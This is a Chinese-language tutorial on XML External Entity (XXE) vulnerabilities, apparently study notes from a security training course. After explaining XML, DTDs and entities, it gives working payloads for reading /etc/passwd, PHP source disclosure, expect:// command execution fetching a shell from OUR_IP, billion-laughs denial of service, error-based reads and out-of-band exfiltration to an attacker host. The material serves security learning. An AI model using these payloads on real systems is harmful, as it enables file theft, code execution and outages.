当 XML 数据未经适当清理或安全解析而从用户控制的输入中获取时,就会出现 XML External Entity (XXE) 漏洞。

XML

Extensible Markup Language (XML)是一种通用标记语言(类似于 HTML 和 SGML),旨在各种类型的应用程序中灵活地传输和存储数据和文档。

XML Document

XML 文档的基本示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>  
<email>
<date>01-01-2022</date>
<time>10:00 am UTC</time>
<sender>john@inlanefreight.com</sender>
<recipients>
<to>HR@inlanefreight.com</to>
<cc>
<to>billing@inlanefreight.com</to>
<to>payslips@inlanefreight.com</to>
</cc>
</recipients>
<body>
Hello,
Kindly share with me the invoice for the payment made on January 1, 2022.
Regards,
John
</body>
</email>

XML 文档的一些关键元素:

Key Definition Example
Tag XML 文档的键,通常用 ( <>) 字符括起来。 <date>
Entity XML 变量,通常用 ( &;) 字符括起来。 &lt;
Element 根元素或其任何子元素,其值存储在开始标记和结束标记之间。 <date>01-01-2022</date>
Attribute 存储在标签中的任何元素的可选规范,可供 XML 解析器使用。 version="1.0"/encoding="UTF-8"
Declaration 通常是 XML 文档的第一行,定义解析时使用的 XML 版本和编码。 <?xml version="1.0" encoding="UTF-8"?>

XML Document Type Definition (DTD)

XML Document Type Definition (DTD) 允许根据预定义的文档结构验证 XML 文档。预定义的文档结构可以在文档本身或外部文件中定义。

XML 文档的示例 DTD:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE email [  
<!ELEMENT email (date, time, sender, recipients, body)>
<!ELEMENT recipients (to, cc?)>
<!ELEMENT cc (to*)>
<!ELEMENT date (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

DTD 使用 ELEMENT 类型声明来声明根电子邮件元素,然后声明其子元素。

外部引用 XML DTD:

1
2
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE email SYSTEM "email.dtd">
1
2
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE email SYSTEM "http://inlanefreight.com/email.dtd">

XML Entities

XML DTD 中定义自定义实体(即 XML 变量),以便重构变量并减少重复数据。

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>

在 XML 文档中用 & 和 ; 引用它(例如 &company;)。

还可以使用 SYSTEM 关键字引用外部 XML 实体:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE email [
<!ENTITY company SYSTEM "http://localhost/company.txt">
<!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>

注意:PUBLIC 关键字可以代替 SYSTEM 来加载外部资源,该关键字用于公开声明的实体和标准,例如语言代码 (lang=”en”)。

Local File Disclosure

当 Web 应用程序信任来自用户输入的未过滤 XML 数据时,可能能够引用外部 XML DTD 文档并定义新的自定义 XML 实体。

Read

1
2
3
<!DOCTYPE email [  
<!ENTITY company SYSTEM "file:///etc/passwd">
]>

如果文件包含一些 XML 的特殊字符(例如<>&),它将破坏外部实体引用,并且不会用于引用。此外,也无法读取任何二进制数据,因为它也不符合 XML 格式。

PHP Wrapper 仅适用于 PHP Web 应用程序。

1
2
3
<!DOCTYPE email [  
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

RCE

1
2
3
4
<?xml version="1.0"?>  
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://id'">
]>
1
2
3
4
<?xml version="1.0"?>  
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>

注意: expect 模块在现代 PHP 服务器上默认不启用/安装,

DOS

此有效负载实现层级调用,直到后端服务器的内存因自引用循环而耗尽。但是,这种攻击不再适用于现代 Web 服务器(例如 Apache),因为它们可以防止实体自引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0"?>  
<!DOCTYPE email [
<!ENTITY a0 "DOS" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
<!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
<!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
<!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
<!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>

Advanced File Disclosure

并非所有 XXE 漏洞都很容易被利用,某些文件格式可能无法通过基本 XXE 读取,而在其他情况下,Web 应用程序在某些情况下可能不会输出任何输入值,因此可能会尝试强制它通过错误。

CDATA

XML 解析器会 CDATA 标签中的内容视为原始数据,其中可能包含任何类型的数据,包括任何特殊字符。

1
2
3
4
5
6
<!DOCTYPE email [  
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">
]>

XML 可能阻止连接内部和外部实体,如阻止DOS一样。

XML Parameter Entities,这是以 % 字符开头的特殊类型的实体,只能在 DTD 中使用。如果从外部源引用它们,那么它们都将被视为外部的,并且可以连接起来。

1
2
3
4
5
6
7
8
9
<!DOCTYPE email [  
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://OUR_IP/xxe.dtd">
%xxe;
]>
...
<email>&joined;</email>

xxe.dtd

1
<!ENTITY joined "%begin;%file;%end;">

Error Based XXE

Web 应用程序可能不会打印任何输出,无法控制任何 XML 输入实体来写入其内容,因此无法使用通常的方法检索文件内容。

如果 Web 应用程序显示运行时错误(例如 PHP 错误)并且没有对 XML 输入进行适当的异常处理,那么可以利用此缺陷读取 XXE 漏洞的输出。(破坏标签完整性或使用不存在实体来测试是否存在报错)

1
2
3
4
<!DOCTYPE email [   
<!ENTITY % remote SYSTEM "http://OUR_IP/xxe.dtd">
%remote;%error;
]>

xxe.dtd

1
2
<!ENTITY % file SYSTEM "file:///etc/hosts">  
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

Blind Data Exfiltration

如果 Web 应用程序既不打印 XML 输出也不显示任何错误,将面临完全盲目的情况。

Out-of-band Data Exfiltration

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>

oob.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">  
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP/%file;'>">

Auto Tool XXEinjector

⬆︎TOP